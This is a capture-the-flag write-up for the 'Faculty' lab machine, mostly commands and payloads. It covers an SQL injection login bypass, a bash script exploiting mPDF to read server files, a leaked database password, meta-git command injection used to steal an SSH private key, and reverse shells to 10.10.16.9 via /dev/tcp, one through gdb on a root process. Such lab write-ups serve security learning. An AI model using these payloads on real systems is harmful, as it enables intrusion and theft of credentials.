TL;DR
NETWORK
SCANS
feroxbuster --url http://faculty.htb --wordlist /usr/share/wordlists/dirb/big.txt --silent -x php,txt
ENUMERATION
discovery
ffuf -w /usr/share/wordlists/dirb/big.txt -u http://faculty.htb/admin/ajax.php\?action\=FUZZ -v -fs 0
curl -X POST -F "firstname=tom&lastname=tom&[email protected]&password=tom123" http://faculty.htb/admin/ajax.php\?action\=signup
SQLi
SQLMap
Let’s record the request in a file and run sqlmap
sqlmap has identified the field username as vulnerable
We can see our user “tom” in the database, created with the following POST
curl -X POST -d "firstname=tom&lastname=tom&[email protected]&password=tom123&bio=whatver&login_alumnus_id=10" http://faculty.htb/admin/ajax.php\?action\=signup
Unfortunately, for some unknown reasons this user couldn’t connect to the site
FOOTHOLD
Admin login page
Using the payload jyot' or 1=1#
in user and password field bypass the admin login page
PDF download
Fuzzing
We have an interesting error
Looking into one of the PDF proprieties we have found the software/script responsible for the generation of the PDFs mPDF 6.0
Exploit
Looking into mPDF we can see that it is inject HTML code into a PDF document that is generated by mPDF like described here https://github.com/mpdf/mpdf/issues/356 More details on this vulnerability can be found on this blog https://medium.com/@jonathanbouman/local-file-inclusion-at-ikea-com-e695ed64d82f
Thanks to this article, we crafted a quick bash script to exploit the arbitrary file read by sending the following payload (url encoded 2 times then base64 encoded):
<annotation file="FILE_TO_READ" content="FILE_TO_READ" icon="Graph" title="Attached File: FILE_TO_READ" pos-x="195" />
The bash script
COOKIE='bhbesvscj7t11kqlslcoupihe7'
MFILE='/etc/passwd'
TMP="<annotation file=\"$MFILE\" content=\"${MFILE}\" icon=\"Graph\" title=\"Attached File: ${MFILE}\" pos-x=\"195\" />";
ENCODED_TMP="$(php -r 'echo rawurlencode($argv[1]);' -- "$TMP")";
ENCODED_TMP="$(php -r 'echo rawurlencode($argv[1]);' -- "$ENCODED_TMP")";
BASE64=`echo -n "$ENCODED_TMP" | base64`;
PDF=`curl --silent -X POST -d "pdf=$BASE64" -b "PHPSESSID=$COOKIE" http://faculty.htb/admin/download.php`;
echo "\n\ncurl -b 'PHPSESSID=$COOKIE' -O http://faculty.htb/mpdf/tmp/$PDF"
Enumeration
Using the script we managed to retrieve the file /etc/passwd which gave us an idea of the users available on the machine
Using a search on internet we found out the file structure of “School faculty scheduling” https://www.campcodes.com/downloads/school-faculty-scheduling-system-using-php-mysql-source-code/ and went after the following file /var/www/scheduling/admin/db_connect.php
which revealed the database password
sched:Co.met06aci.dly53ro.per
Low access as user gbyolo
We were able to get an SSH access to the machine using the password found on the previous step with the user gbyolo
PRIV ESCALATION
Enum
We are able to run the binary meta-git as user developer
We can run command as developer with
sudo -u developer meta-git
Retrieve user’s developer SSH key
A bit of googling gave us https://github.com/advisories/GHSA-qcff-ffx3-m25c
All versions of meta-git
are vulnerable to Command Injection. The package fails to sanitize input and passes it directly to an exec
call, which may allow attackers to execute arbitrary code in the system. The clone
command is vulnerable through the branch name.
According this link we can do
meta-git clone 'sss||touch HACKED' # *HACKED* file is created
where touch HACKED
would be an unverified command
As shown by the following image, the exploit runs as developer
sudo -u developer meta-git clone "sss||cat /home/developer/.ssh/id_rsa"
Using this SSH key we can now access user developer account
Root access
Using pspy in order to snoop into the processes we can see that the script sendmail.sh is being called multiple times (probably on cron)
knowing that information, let’s use sed
to replace the mail in the script with our payload
echo '/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.16.9/1235 0>&1"' > sendmail.sh
export PID=$(ps aux | grep "^root.*python3" | awk '{print $2}')
gdb -p $PID
call (void)system("bash -c 'bash -i >& /dev/tcp/10.10.x.x/9001 0>&1'")
call (void)system(“bash -c ‘bash -i >& /dev/tcp/10.10.16.9/9001 0>&1’”)